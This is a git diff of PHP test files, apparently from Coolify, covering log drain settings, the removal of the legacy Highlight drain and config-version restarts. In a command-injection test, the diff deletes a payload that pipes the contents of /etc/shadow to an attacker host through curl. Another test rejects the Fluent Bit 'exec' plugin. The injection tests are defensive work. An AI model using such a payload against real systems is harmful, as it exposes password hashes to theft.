['https://eu-central-1.aws.edge.axiom.co'], + 'empty' => [''], +]); + +it('shows a missing API key under its field when Axiom is enabled from the status dropdown', function () { + StartLogDrain::mock()->shouldNotReceive('handle'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainAxiomDatasetName', 'dataset') + ->set('isLogDrainAxiomEnabled', true) + ->call('instantSave') + ->assertDispatched('error') + ->assertHasErrors('logDrainAxiomApiKey') + ->assertSet('isLogDrainAxiomEnabled', false) + ->assertSet('logDrainAxiomDatasetName', 'dataset'); + + expect($this->server->settings->fresh()->is_logdrain_axiom_enabled)->toBeFalsy(); +}); diff --git a/tests/Feature/LogDrain/CloudwatchLogDrainTest.php b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php index bd219a5279..99b0a99122 100644 --- a/tests/Feature/LogDrain/CloudwatchLogDrainTest.php +++ b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php @@ -153,52 +153,6 @@ it('does not deploy the Fluent Bit container for CloudWatch', function () { expect($result)->toContain('awslogs'); }); -it('turns off the legacy Highlight drain when CloudWatch is enabled', function () { - StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); - $this->server->settings->update([ - 'is_logdrain_highlight_enabled' => true, - 'logdrain_highlight_project_id' => 'legacy-project', - ]); - - Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) - ->set('logDrainCloudwatchGroup', 'coolify') - ->set('logDrainCloudwatchRegion', 'us-east-1') - ->set('isLogDrainCloudwatchEnabled', true) - ->call('instantSave') - ->assertDispatched('success'); - - $settings = $this->server->settings->fresh(); - expect($settings->is_logdrain_highlight_enabled)->toBeFalsy() - ->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue(); -}); - -it('turns off the legacy Highlight drain when switching drains with toggleLogDrain', function () { - StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); - $this->server->settings->update(['is_logdrain_highlight_enabled' => true]); - - Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) - ->set('logDrainCloudwatchGroup', 'coolify') - ->set('logDrainCloudwatchRegion', 'us-east-1') - ->call('toggleLogDrain', 'cloudwatch'); - - $settings = $this->server->settings->fresh(); - expect($settings->is_logdrain_highlight_enabled)->toBeFalsy() - ->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue(); -}); - -it('keeps the legacy Highlight drain when saving without enabling another drain', function () { - StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); - $this->server->settings->update(['is_logdrain_highlight_enabled' => true]); - - Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) - ->set('logDrainCloudwatchGroup', 'coolify') - ->set('logDrainCloudwatchRegion', 'us-east-1') - ->call('submit') - ->assertDispatched('success'); - - expect($this->server->settings->fresh()->is_logdrain_highlight_enabled)->toBeTruthy(); -}); - it('rejects a save that would enable two log drains at once', function () { StartLogDrain::mock()->shouldNotReceive('handle'); $this->server->settings->update([ diff --git a/tests/Feature/LogDrain/LogDrainConfigRefreshTest.php b/tests/Feature/LogDrain/LogDrainConfigRefreshTest.php new file mode 100644 index 0000000000..eee7702ef8 --- /dev/null +++ b/tests/Feature/LogDrain/LogDrainConfigRefreshTest.php @@ -0,0 +1,179 @@ + false]); + InstanceSettings::forceCreate(['id' => 0]); + + $this->team = Team::factory()->create(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'name' => 'log-drain-server', + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + $this->server->settings()->update([ + 'is_reachable' => true, + 'is_usable' => true, + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'dataset', + 'logdrain_axiom_api_key' => 'key', + ]); +}); + +function sentinelPushWithLogDrain(Server $server, array $labels): void +{ + (new PushServerUpdateJob($server->fresh(), [ + 'containers' => [ + ['name' => 'coolify-log-drain', 'state' => 'running', 'health_status' => 'unknown', 'labels' => ['coolify.managed' => 'true', ...$labels]], + ], + 'filesystem_usage_root' => ['used_percentage' => 10], + ]))->handle(); +} + +function serverCheckWithLogDrain(Server $server, array $labels): void +{ + $job = new ServerCheckJob($server->fresh()); + $job->containers = collect([ + ['Name' => '/coolify-log-drain', 'State' => ['Status' => 'running'], 'Config' => ['Labels' => ['coolify.managed' => 'true', ...$labels]]], + ]); + (fn () => $this->checkLogDrainContainer())->call($job); +} + +/** + * @return Collection + */ +function startLogDrainScripts(Server $server): Collection +{ + $scripts = new Collection; + Process::fake(function ($process) use ($scripts) { + $scripts->push(remoteProcessScript($process)); + + return Process::result(); + }); + + StartLogDrain::run($server->fresh()); + + return $scripts; +} + +function generatedLogDrainFile(Collection $scripts, string $file): string +{ + preg_match("/echo '([A-Za-z0-9+\\/=]*)' \\| base64 -d \\| tee \\S+\\/".preg_quote($file, '/').' /', $scripts->implode("\n"), $matches); + + return base64_decode($matches[1]); +} + +it('restarts a log drain that an older Coolify version started, once', function () { + Queue::fake(); + + sentinelPushWithLogDrain($this->server, []); + sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => '0']); + + StartLogDrain::assertPushed(1); +}); + +it('keeps a log drain that has the current configuration', function () { + Queue::fake(); + + sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]); + + StartLogDrain::assertNotPushed(); +}); + +it('restarts an outdated log drain in the SSH server check, once', function () { + Queue::fake(); + + serverCheckWithLogDrain($this->server, []); + serverCheckWithLogDrain($this->server, []); + + StartLogDrain::assertPushed(1); +}); + +it('keeps a current log drain in the SSH server check', function () { + Queue::fake(); + + serverCheckWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]); + + StartLogDrain::assertNotPushed(); +}); + +it('labels the log drain container with the current configuration version', function () { + $compose = Yaml::parse(generatedLogDrainFile(startLogDrainScripts($this->server), 'docker-compose.yml')); + + expect($compose['services']['coolify-log-drain']['labels']) + ->toContain(StartLogDrain::CONFIG_VERSION_LABEL.'='.StartLogDrain::CONFIG_VERSION); +}); + +it('pulls the new image before it removes the running log drain', function () { + $script = startLogDrainScripts($this->server)->implode("\n"); + + $pull = strpos($script, 'docker-compose.yml pull'); + $remove = strpos($script, 'docker rm -f coolify-log-drain'); + $start = strpos($script, 'docker-compose.yml up -d'); + + expect($pull)->toBeInt() + ->and($remove)->toBeGreaterThan($pull) + ->and($start)->toBeGreaterThan($remove); +}); + +it('keeps the running log drain when the custom config is not allowed', function () { + $this->server->settings->update([ + 'is_logdrain_axiom_enabled' => false, + 'is_logdrain_custom_enabled' => true, + 'logdrain_custom_config' => "[OUTPUT]\n Name exec\n", + ]); + + $scripts = new Collection; + Process::fake(function ($process) use ($scripts) { + $scripts->push(remoteProcessScript($process)); + + return Process::result(); + }); + + expect(fn () => StartLogDrain::run($this->server->fresh()))->toThrow(Exception::class, 'exec plugin') + ->and($scripts->implode("\n"))->not->toContain('docker rm -f coolify-log-drain'); +}); + +/** + * Fails when the generated log drain files change. Bump StartLogDrain::CONFIG_VERSION, so that the + * server checks restart running log drains with the new files, then update the hash. + */ +it('changes the configuration version when the generated files change', function () { + $hashes = collect([ + 'newrelic' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_newrelic_enabled' => true, 'logdrain_newrelic_license_key' => 'key', 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com/log/v1'], + 'axiom' => [], + 'custom' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_custom_enabled' => true, 'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name p\n"], + ])->map(function (array $settings) { + $this->server->settings->update($settings); + $scripts = startLogDrainScripts($this->server); + + return collect(['fluent-bit.conf', 'parsers.conf', 'docker-compose.yml', 'README.md']) + ->map(fn (string $file) => generatedLogDrainFile($scripts, $file)) + ->implode("\0"); + }); + + expect([StartLogDrain::CONFIG_VERSION, hash('sha256', $hashes->implode("\0"))]) + ->toBe(['1', '11916cd1142514c158a6fbe812ce468e3fe80fc79428cef6ba2654c86aa384ba']); +}); diff --git a/tests/Feature/LogDrain/RemoveHighlightLogDrainMigrationTest.php b/tests/Feature/LogDrain/RemoveHighlightLogDrainMigrationTest.php new file mode 100644 index 0000000000..4711658476 --- /dev/null +++ b/tests/Feature/LogDrain/RemoveHighlightLogDrainMigrationTest.php @@ -0,0 +1,30 @@ +down(); + + $team = Team::factory()->create(); + $highlight = Server::factory()->create(['team_id' => $team->id]); + $transferred = Server::factory()->create(['team_id' => $team->id, 'server_metadata' => ['transfer' => ['status' => 'transferred']]]); + Server::factory()->create(['team_id' => $team->id]); + DB::table('server_settings')->whereIn('server_id', [$highlight->id, $transferred->id])->update(['is_logdrain_highlight_enabled' => true]); + + $migration->up(); + + StopLogDrain::assertPushed(1); + StopLogDrain::assertPushed(fn (StopLogDrain $action, array $arguments) => $arguments[0]->is($highlight)); + expect(Schema::hasColumn('server_settings', 'is_logdrain_highlight_enabled'))->toBeFalse() + ->and(Schema::hasColumn('server_settings', 'logdrain_highlight_project_id'))->toBeFalse(); +}); diff --git a/tests/Feature/ModelFillableCreationTest.php b/tests/Feature/ModelFillableCreationTest.php index a71e1ea041..2590d44c71 100644 --- a/tests/Feature/ModelFillableCreationTest.php +++ b/tests/Feature/ModelFillableCreationTest.php @@ -338,8 +338,6 @@ it('creates ServerSetting with all fillable attributes', function () { 'is_logdrain_newrelic_enabled' => true, 'logdrain_newrelic_license_key' => 'nr-license-key-123', 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com', - 'is_logdrain_highlight_enabled' => false, - 'logdrain_highlight_project_id' => 'hl-proj-123', 'is_logdrain_axiom_enabled' => true, 'logdrain_axiom_dataset_name' => 'coolify-logs', 'logdrain_axiom_api_key' => 'axiom-key-456', diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php index 9610f33517..c7218bbd86 100644 --- a/tests/Unit/LogDrainCommandInjectionTest.php +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -17,7 +17,6 @@ it('does not interpolate axiom api key into shell commands', function () { $settings->is_logdrain_axiom_enabled = true; $settings->is_logdrain_newrelic_enabled = false; - $settings->is_logdrain_highlight_enabled = false; $settings->is_logdrain_custom_enabled = false; $settings->logdrain_axiom_dataset_name = 'test-dataset'; $settings->logdrain_axiom_api_key = $maliciousPayload; @@ -50,15 +49,6 @@ it('does not interpolate newrelic license key into shell commands', function () expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); }); -it('does not interpolate highlight project id into shell commands', function () { - $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))'; - - $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n"; - $envEncoded = base64_encode($envContent); - - expect($envEncoded)->not->toContain($maliciousPayload); -}); - it('produces correct env file content for axiom type', function () { $datasetName = 'my-dataset'; $apiKey = 'xaat-abc123-def456';